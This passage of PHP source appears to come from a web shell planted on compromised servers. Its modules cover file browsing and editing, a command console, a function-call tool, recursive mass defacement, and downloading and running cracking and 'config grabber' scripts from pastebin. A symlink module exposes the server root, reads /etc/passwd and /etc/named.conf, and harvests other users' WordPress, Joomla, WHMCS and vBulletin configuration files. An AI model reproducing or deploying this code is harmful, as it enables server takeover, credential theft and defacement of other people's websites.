 \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
 \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS[\'cwd\'].$dirContent[$i]))
$files[] = array_merge($tmp, array(\'type\' => \'file\'));
elseif(@is_link($GLOBALS[\'cwd\'].$dirContent[$i]))
$links[] = array_merge($tmp, array(\'type\' => \'link\'));
elseif(@is_dir($GLOBALS[\'cwd\'].$dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
}
$GLOBALS[\'sort\'] = $sort;
function cmp($a, $b) {
if($GLOBALS[\'sort\'][0] != \'size\')
return strcmp($a[$GLOBALS[\'sort\'][0]], $b[$GLOBALS[\'sort\'][0]])*($GLOBALS[\'sort\'][1]?1:-1);
else
return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
}
usort($files, "cmp");
usort($dirs, "cmp");
usort($links, "cmp");
$files = array_merge($dirs, $links, $files);
$l = 0;
foreach($files as $f) {
echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');"><b>[ \'.htmlspecialchars($f[\'name\']).\' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
.\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'</td></tr>\';
$l = $l?0:1;
}
echo \'<tr><td colspan=5>
<input type=hidden name=a value=\'FilesMan\'>
<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>\';
if(!empty($_SESSION[\'act\'])&&@count($_SESSION[\'f\'])){echo \'<option value=\'paste\'>Paste</option>\'; }
echo \'</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.php" size="10"/>&nbsp;<input type="button" onclick="g(\'FilesMan\',\'\'.htmlspecialchars($GLOBALS[\'cwd\']).\'\',\'deface\',document.getElementById(\'def\').value)" value="Add your Deface"></td></tr>
</form></table></div>\';
printFooter();
}
function actionStringTools() {
if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
if(isset($_POST[\'ajax\'])) {
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
ob_start();
if(function_exists($_POST[\'p1\']))
echo $_POST[\'p1\']($_POST[\'p2\']);
$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
";
echo strlen($temp), "
", $temp;
exit;
}
printHeader();
echo \'<h1>String conversions</h1><div class=content>\';
$stringTools = array(
\'Base64 encode\' => \'base64_encode\',
\'Base64 decode\' => \'base64_decode\',
\'Url encode\' => \'urlencode\',
\'Url decode\' => \'urldecode\',
\'Full urlencode\' => \'full_urlencode\',
\'md5 hash\' => \'md5\',
\'sha1 hash\' => \'sha1\',
\'crypt\' => \'crypt\',
\'CRC32\' => \'crc32\',
\'ASCII to HEX\' => \'ascii2hex\',
\'HEX to ASCII\' => \'hex2ascii\',
\'HEX to DEC\' => \'hexdec\',
\'HEX to BIN\' => \'hex2bin\',
\'DEC to HEX\' => \'dechex\',
\'DEC to BIN\' => \'decbin\',
\'BIN to HEX\' => \'bin2hex\',
\'BIN to DEC\' => \'bindec\',
\'String to lower case\' => \'strtolower\',
\'String to upper case\' => \'strtoupper\',
\'Htmlspecialchars\' => \'htmlspecialchars\',
\'String length\' => \'strlen\',
);
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";
foreach($stringTools as $k => $v)
echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".htmlspecialchars(@$_POST[\'p2\'])."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
if(!empty($_POST[\'p1\'])) {
if(function_exists($_POST[\'p1\']))
echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));
}
echo"</pre></div>";
printFooter();
}
function actionFilesTools() {
if( isset($_POST[\'p1\']) )
$_POST[\'p1\'] = urldecode($_POST[\'p1\']);
if(@$_POST[\'p2\']==\'download\') {
if(is_file($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST[\'p1\']);
header("Content-Type: ".$type);
}
$fp = @fopen($_POST[\'p1\'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
} elseif(is_dir($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {
}
exit;
}
if( @$_POST[\'p2\'] == \'mkfile\' ) {
if(!file_exists($_POST[\'p1\'])) {
$fp = @fopen($_POST[\'p1\'], \'w\');
if($fp) {
$_POST[\'p2\'] = "edit";
fclose($fp);
}
}
}
printHeader();
echo \'<h1>File tools</h1><div class=content>\';
if( !file_exists(@$_POST[\'p1\']) ) {
echo \'File not exists\';
printFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
$gid = @posix_getgrgid(@fileowner($_POST[\'p1\']));
echo \'<span>Name:</span> \'.htmlspecialchars($_POST[\'p1\']).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';
if( empty($_POST[\'p2\']) )
$_POST[\'p2\'] = \'view\';
if( is_file($_POST[\'p1\']) )
$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
else
$m = array(\'Chmod\', \'Rename\', \'Touch\');
foreach($m as $v)
echo \'<a href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';
echo \'<br><br>\';
switch($_POST[\'p2\']) {
case \'view\':
echo \'<pre class=ml1>\';
$fp = @fopen($_POST[\'p1\'], \'r\');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo \'</pre>\';
break;
case \'highlight\':
if( is_readable($_POST[\'p1\']) ) {
echo \'<div class=ml1 style="background-color: black;color:black;">\';
$code = highlight_file($_POST[\'p1\'],true);
echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
}
break;
case \'chmod\':
if( !empty($_POST[\'p3\']) ) {
$perms = 0;
for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
if(!@chmod($_POST[\'p1\'], $perms))
echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
else
die(\'<script>g(null,null,null,null,"")</script>\');
}
echo \'<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
break;
case \'edit\':
if( !is_writable($_POST[\'p1\'])) {
echo \'File isn\'t writeable\';
break;
}
if( !empty($_POST[\'p3\']) ) {
@file_put_contents($_POST[\'p1\'],$_POST[\'p3\']);
echo \'Saved!<br><script>document.mf.p3.value="";</script>\';
}
echo \'<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>\';
$fp = @fopen($_POST[\'p1\'], \'r\');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo \'</textarea><input type=submit value=">>"></form>\';
break;
case \'hexdump\':
$c = @file_get_contents($_POST[\'p1\']);
$n = 0;
$h = array(\'00000000<br>\',\'\',\'\');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
switch ( ord($c[$i]) ) {
case 0:$h[2] .= \' \'; break;
case 9:$h[2] .= \' \'; break;
case 10: $h[2] .= \' \'; break;
case 13: $h[2] .= \' \'; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
$h[1] .= \'<br>\';
$h[2] .= "
";
}
 }
echo \'<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#red><pre>\'.$h[1].\'</pre></td><td bgcolor=#red><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
break;
case \'rename\':
if( !empty($_POST[\'p3\']) ) {
if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
echo \'Can\'t rename!<br><script>document.mf.p3.value="";</script>\';
else
die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
}
echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
break;
case \'touch\':
if( !empty($_POST[\'p3\']) ) {
$time = strtotime($_POST[\'p3\']);
if($time) {
if(@touch($_POST[\'p1\'],$time,$time))
die(\'<script>g(null,null,null,null,"")</script>\');
else {
echo \'Fail!<script>document.mf.p3.value="";</script>\';
}
} else echo \'Bad time format!<script>document.mf.p3.value="";</script>\';
}
echo \'<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
break;
case \'mkfile\':
break;
}
echo \'</div>\';
printFooter();
}
function actionDefacer() {
printHeader();
echo "<h1>Recursive Mass Defacer</h1><div class=content>";
?>
<form ENCTYPE="multipart/form-data" action="<?$_SERVER[\'PHP_SELF\']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
<br>file name : <input type=text name=file size=20 value="index.htm">
<br>Text Content : <input type=text name=Contents size=20 value="Hacked by 1337 h@x0r"> 
<br><input type=submit value="Update"></p></form>
<?php
if ($_POST[\'a\'] == \'Defacer\') {
$mainpath = $_POST[p1];
$file = $_POST[p2];
$txtContents = $_POST[p3];
echo "-----------------------------------------------<br>
[+] Recursive Mass defacer<br>
-----------------------------------------------<br><br> ";
$dir = opendir($mainpath);
while ($row = readdir($dir)) {
$start = @fopen("$row/$file", "w+");
$code = $txtContents;
$finish = @fwrite($start, $code);
if ($finish) {
echo "http://$row/$file<br>";
}
if (strncasecmp(PHP_OS, \'WIN\', 3) == 0) {
exec("for /r %cd% %i in (.) do @copy $file %i 1>NUL");
} else {
system("find $PWM -type d -exec cp $file {} \;");
}
}
echo "-----------------------------------------------<br><br>[+] Script by 1337 h@x0r [+]";
}
echo \'</div>\';
printFooter();
}
function actionConsole() {
if(isset($_POST[\'ajax\'])) {
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
ob_start();
echo "document.cf.cmd.value=\'\';
";
$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']),"

	\\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match)){
if(@chdir($match[1])) {
$GLOBALS[\'cwd\'] = @getcwd();
echo "document.mf.c.value=\'".$GLOBALS[\'cwd\']."\';";
}
}
echo "document.cf.output.value+=\'".$temp."\';";
echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
printHeader();
echo \'<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push("");
cur = cmds.length-1;
}
</script>\';
echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>\';
foreach($GLOBALS[\'aliases\'] as $n => $v) {
if($v == \'\') {
echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';
continue;
}
echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';
}
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
echo \'</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>\';
if(!empty($_POST[\'p1\'])) {
echo htmlspecialchars("$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']));
}
echo \'</textarea><input type=text name=cmd style="border-top:1;width:100%;" onkeydown="kp(event);">\';
echo \'</form></div><script>document.cf.cmd.focus();</script>\';
printFooter();
}
function actionLogout() {
unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]);
echo \'<title>Get out Now</title><body bgcolor=#000000><center><img src="http://i.imgur.com/92EAUJk.png"><br>
<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
<span style="color:red;font: 20pt audiowide;">Your are out now :D<br>www.facebook.com/EvilGenius786</h2></span></center></body>\';
}
///my editing start here for tools
function download_remote_file($file_url, $save_to)
{
$content = file_get_contents($file_url);
file_put_contents($save_to, $content);
}
if (isset($_POST[\'cp\'])) {
download_remote_file(\'http://pastebin.com/raw/2Ntdj7ju\', realpath("./") . \'/cp.php\');
header("location:cp.php");
} 
if (isset($_POST[\'SymlinkbySmevk\'])) {
download_remote_file(\'http://pastebin.com/raw.php?i=PhSk7Kvq\', realpath("./") . \'/SymlinkbySmevk.php\');
header("location:SymlinkbySmevk.php");
}
if (isset($_POST[\'SymlinkbyCheetah\'])) {
download_remote_file(\'http://pastebin.com/raw.php?i=EXejgAMv\', realpath("./") . \'/SymlinkbyCheetah.php\');
header("location:SymlinkbyCheetah.php");
}
if (isset($_POST[\'SymlinkbyTorjan\'])) {
download_remote_file(\'http://pastebin.com/raw.php?i=YUg4pXe2\', realpath("./") . \'/sym.py\');
$url = \'http://\' . $_SERVER[\'SERVER_NAME\'] . dirname($_SERVER[\'SCRIPT_NAME\']) . \'/trjnx/\';
header(\'location: \'.$url);
system(\'python sym.py\');
}
if (isset($_POST[\'jump\'])) {
download_remote_file(\'http://pastebin.com/raw/MxtcT6nX\', realpath("./") . \'/jump.php\');
header("location:jump.php");
}
if (isset($_POST[\'adminer\'])) {
system(\'wget https://www.adminer.org/static/download/4.2.5/adminer-4.2.5-mysql-en.php adminer.php\');
header("location:adminer-4.2.5-mysql-en.php");
}
if (isset($_POST[\'cg\'])) {
download_remote_file(\'http://pastebin.com/raw/WSgkDHSN\', realpath("./") . \'/cg.php\');
header("location:cg.php");
}
function actionImportScripts() {
printHeader();
echo \'<table border="1px" align="center" id ="1337tools" cellpadding="10" border-color"green"><tr><td>Just click and get the Script :).</td><tr><td>
<form action ="" method="post">
<input type = "submit" name="cp" value ="Cpanel Cracker"></td></tr>\';
echo \'<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyTorjan"value ="Symlink Python Script By Torjan"></a></td></tr>\';
echo \'<td><form action ="" method="post"><input type = "submit" name="SymlinkbySmevk" value ="Symlink Script By SmEvK_PaThAn"></a></td></tr>\';
echo \'<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyCheetah" value ="Symlink By Kashmiri Cheetah"></a></td></tr>\';
echo \'<tr><td><form action ="" method="post"><input type = "submit" name="jump" value ="Jumping Shell"></a></td></tr>\';
echo \'<tr><td><form action ="" method="post"><input type = "submit" name="adminer"value ="Adminer"></a></td></tr>\';
echo \'<tr><td><form action ="" method="post"><input type = "submit" name="cg"value ="Config Grabber"></a></td></tr>\';
printFooter();
}
function actionShared() {
printHeader();
$file = @implode(@file("/etc/named.conf"));
if (!$file) {
die("# can\'t ReaD -> [ /etc/named.conf ]");
}
preg_match_all("#named/(.*?).db#", $file, $r);
$domains = array_unique($r[1]);
{
foreach ($domains as $domain) {
$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
$array= "http://$domain " . $user[\'name\'] . "<br>";
$lol= \'\' . get_current_user();
if (strpos($array, "$lol") !== false) {
$shared = str_replace(array(" $lol"), "", $array);
echo "<center>$shared";
}
}
}
printFooter();
}
function actionSymlink() {
printHeader();
echo \'<h1>Symlink</h1>\';
$furl = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
$expld = explode(\'/\',$furl );
$burl =str_replace(end($expld),\'\',$furl);
echo \'<div class="content"><center>
<h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] - 
[ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;"></sup></a> ] - 
[ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>\';
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'website\')
{
echo "<center>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){ 
echo "<pre class=ml1 style=\'margin-top:5px\'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
} else {
echo "<table align=center class=\'main\' border=0 ><tr><th> Domains </th></tr>";
$unk = array();
foreach($d0mains as $d0main){
if(@eregi("zone",$d0main)){
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$unk[] = $domains[1][0];
flush();
}
}
}
$count=1;
$unk = array_unique($unk);
$l=0;
foreach($unk as $d){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
echo "<tr".($l?\' class=l1\':\'\')."><td><a href=http://".$d."/>".$d."</a></td><td>".$user[\'name\']."</td></tr>";
flush();
$count++;
$l=$l?0:1;
}
echo "</table>";
}
echo "</center>"; 
}
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'whole\')
{
echo "<center>";
@mkdir(\'PCA_sym\',0777);
$hdt= "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$hfp =@fopen (\'PCA_sym/.htaccess\',\'w\');
fwrite($hfp ,$hdt);
if(function_exists(\'symlink\')) {
@symlink(\'/\',\'PCA_sym/root\');
}
$d0mains = @file(\'/etc/named.conf\');
if(!$d0mains) {
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
echo "<table align=\'center\' width=\'40%\' class=\'main\'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
$dt = file(\'/etc/passwd\');
$l=0;
foreach($dt as $d) {
$r = explode(\':\',$d);
if(strpos($r[5],\'home\')) {
echo "<tr".($l?\' class=l1\':\'\')."><td>".$j."</td><td>---</td><td>".$r[0]."</td><td><a href=\'PCA_sym/root".$r[5]."/public_html\' target=\'_blank\'>symlink</a></td></tr>";
$l=$l?0:1;
$j++;
}
}
echo \'</table>\';
} else {
echo "<table align=\'center\' width=\'40%\' class=\'main\'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
$count=1;
$mck = array();
foreach($d0mains as $d0main){
if(@eregi(\'zone\',$d0main)){
preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0])) >2){
$mck[] = $domain[1][0];
}
}
}
$mck = array_unique($mck);
$usr = array();
$dmn = array();
foreach($mck as $o) {
$infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
$usr[] = $infos[\'name\'];
$dmn[] = $o;
}
array_multisort($usr,$dmn);
$dt = file(\'/etc/passwd\');
$passwd = array();
foreach($dt as $d) {
$r = explode(\':\',$d);
if(strpos($r[5],\'home\')) {
$passwd[$r[0]] = $r[5];
}
}
$l=0;
$j=1;
foreach($usr as $r) {
echo "<tr".($l?\' class=l1\':\'\')."><td>".$count++."</td>
<td><a target=\'_blank\' href=http://".$dmn[$j-1].\'/>\'.$dmn[$j-1].\' </a></td>
<td>\'.$r."</td>
<td><a href=\'PCA_sym/root".$passwd[$r]."/public_html\' target=\'_blank\'>symlink</a></td></tr>";
flush();
$l=$l?0:1;
$j++;
}
echo \'</table>\';
}
echo "</center>";
}
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'config\')
{
echo "<center>";
@mkdir(\'PCA_sym\',0777);
$hdt = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$hfp = @fopen (\'PCA_sym/.htaccess\',\'w\');
@fwrite($hfp ,$hdt);
if(function_exists(\'symlink\')) {
@symlink(\'/\',\'PCA_sym/root\');
}
$d0mains=@file(\'/etc/named.conf\');
if(!$d0mains) {
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}else {
echo "<table align=\'center\' width=\'40%\' class=\'main\' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
$count = 1;
$l=0;
foreach($d0mains as $d0main){
if(@eregi(\'zone\',$d0main)){
preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0]))>2){
$user = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domain[1][0]));
$c1 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/wp-config.php\';
$ch01 = get_headers($c1);
$cf01 = $ch01[0];
$c2 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/blog/wp-config.php\';
$ch02 = get_headers($c2);
$cf02 = $ch02[0];
$c3 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/configuration.php\';
$ch03 = get_headers($c3);
$cf03 = $ch03[0];
$c4 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/joomla/configuration.php\';
$ch04 = get_headers($c4);
$cf04 = $ch04[0];
$c5 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/includes/config.php\';
$ch05 = get_headers($c5);
$cf05 = $ch05[0];
$c6 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/vb/includes/config.php\';
$ch06 = get_headers($c6);
$cf06 = $ch06[0];
$c7 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/forum/includes/config.php\';
$ch07 = get_headers($c7);
$cf07 = $ch07[0];
$c8 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'public_html/clients/configuration.php\';
$ch08 = get_headers($c8);
$cf08 = $ch08[0];
$c9 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/support/configuration.php\';
$ch09 = get_headers($c9);
$cf09 = $ch09[0];
$c10 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
$ch10 = get_headers($c10);
$cf10 = $ch10[0];
$c11 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/submitticket.php\';
$ch11 = get_headers($c11);
$cf11 = $ch11[0];
$c12 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
$ch12 = get_headers($c12);
$cf12 = $ch12[0];
$c13 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/includes/configure.php\';
$ch13 = get_headers($c13);
$cf13 = $ch13[0];
$c14 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/include/app_config.php\';
$ch14 = get_headers($c14);
$cf14 = $ch14[0];
$c15 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/sites/default/settings.php\';
$ch15 = get_headers($c15);
$cf15 = $ch15[0];
$out = \'&nbsp;\';
if(strpos($cf01,\'200\') == true){ $out = "<a href=\'".$c1."\' target=\'_blank\'>Wordpress</a>"; } 
elseif(strpos($cf02,\'200\') == true){ $out = "<a href=\'".$c2."\' target=\'_blank\'>Wordpress</a>"; }
elseif(strpos($cf03,\'200\') == true && strpos($cf11,\'200\') == true) { $out = " <a href=\'".$c11."\' target=\'_blank\'>WHMCS</a>"; }
elseif(strpos($cf09,\'200\') == true){ $out = " <a href=\'".$c9."\' target=\'_blank\'>WHMCS</a>";}
elseif(strpos($cf10,\'200\') == true){ $out = " <a href=\'".$c10."\' target=\'_blank\'>WHMCS</a>"; }
elseif(strpos($cf03,\'200\') == true){ $out = " <a href=\'".$c3."\' target=\'_blank\'>Joomla</a>"; }
elseif(strpos($cf04,\'200\') == true){ $out = " <a href=\'".$c4."\' target=\'_blank\'>Joomla</a>"; }
elseif(strpos($cf05,\'200\') == true){ $out = " <a href=\'".$c5."\' target=\'_blank\'>vBulletin</a>";}
elseif(strpos($cf06,\'200\') == true){ $out = " <a href=\'".$c6."\' target=\'_blank\'>vBulletin</a>";}
elseif(strpos($cf07,\'200\') == true){ $out = " <a href=\'".$c7."\' target=\'_blank\'>vBulletin</a>";}
elseif(strpos($cf08,\'200\') == true){ $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>";}
elseif(strpos($cf12,\'200\') == true){ $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>";}
elseif(strpos($cf13,\'200\') == true){ $out = " <a href=\'".$c7."\' target=\'_blank\'>osCommerce/Zen Cart</a>";}
elseif(strpos($cf14,\'200\') == true){ $out = " <a href=\'".$c7."\' target=\'_blank\'>Magento</a>";}
elseif(strpos($cf15,\'200\') == true){ $out = " <a href=\'".$c7."\' target=\'_blank\'>Drupal</a>";}
else {
continue;
}
